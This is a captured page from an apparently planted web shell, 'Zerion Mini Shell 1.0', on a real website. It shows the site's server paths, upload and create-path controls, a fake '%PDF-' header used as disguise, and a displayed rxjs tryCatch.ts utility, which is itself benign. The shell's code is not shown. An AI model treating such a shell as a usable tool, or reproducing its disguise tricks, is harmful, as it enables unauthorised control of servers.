%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/node_modules/rxjs/src/internal/util/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/node_modules/rxjs/src/internal/util/tryCatch.ts

import { errorObject } from './errorObject';

let tryCatchTarget: Function;

function tryCatcher(this: any): any {
  errorObject.e = undefined;
  try {
    return tryCatchTarget.apply(this, arguments);
  } catch (e) {
    errorObject.e = e;
    return errorObject;
  } finally {
    tryCatchTarget = undefined;
  }
}

export function tryCatch<T extends Function>(fn: T): T {
  tryCatchTarget = fn;
  return <any>tryCatcher;
}

Zerion Mini Shell 1.0